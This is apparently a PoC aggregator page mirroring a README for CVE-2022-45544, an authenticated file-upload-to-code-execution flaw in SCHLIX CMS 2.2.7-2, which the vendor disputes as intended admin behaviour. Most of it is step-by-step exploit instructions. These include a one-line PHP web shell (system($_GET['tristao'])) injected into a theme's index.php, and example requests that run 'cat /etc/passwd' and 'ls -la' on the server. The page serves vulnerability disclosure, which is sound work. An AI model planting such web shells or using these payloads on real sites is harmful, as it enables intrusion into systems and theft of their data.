CVE-2022-45544 PoC — Schlix CMS 安全漏洞

Source

https://github.com/tristao-io/CVE-2022-45544

Associated Vulnerability

Title:Schlix CMS 安全漏洞 (CVE-2022-45544)
Description:Insecure Permission vulnerability in Schlix Web Inc SCHLIX CMS 2.2.7-2 allows attacker to upload arbitrary files and execute arbitrary code via the tristao parameter. NOTE: this is disputed by the vendor because an admin is intentionally allowed to upload new executable PHP code, such as a theme that was obtained from a trusted source or was developed for their own website. Only an admin can upload such code, not someone else in an "attacker" role.

Description

SCHLIX CMS 2.2.7-2 arbitrary File Upload

Readme

# CVE-2022-45544
## SCHLIX CMS 2.2.7-2 arbitrary File Upload

#Title:Schlix CMS 2.2.7-2 | Arbitrary File Upload Remote following Code Execution (Authenticated)<br>
#Date: 2022-11-09<br>
#Author: Francisco Marinho<br>
#Vendor Homepage: https://www.schlix.com/<br>
#Software link:https://www.schlix.com/downloads/schlix-cms/schlix-cms-v2.2.7-2.zip<br>
#Version: 2.2.7-2<br>
#Tested on: Linux<br>
<br>
# =========================POC=========================<br>
<br>

1 - Login with your account<br>
2 - Acess the directory in url http://example.com/admin/app/core.thememanager <br>
3 - Download theme Superhero in https://www.schlix.com/extensions.releases/action/download/filename/theme_superhero-1.1.zip<br>
4 - Unzip theme_superhero-1.1.zip<br>
5 - Edit file in path superhero/themes/superhero/index.php, adding "system($_GET['tristao']);" on line three.<br>
6 - Zip theme_superhero-1.1.zip<br>
7 - Click in "INSTALL A PACKAGE"<br>
8 - Upload theme_superhero-1.1.zip<br>
9 - Active theme superhero<br>
10 - Acess homepage index.php<br>
<br>
## Examples:

cat /etc/passwd<br>

http://example.com/index.php?tristao=cat%20%20/etc/passwd<br>

ls -la <br>

http://example.com/index.php?tristao=ls%20%20-la<br>

Procedure video<br>
https://www.youtube.com/watch?v=_0X6AzXmhrU&t=36s

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!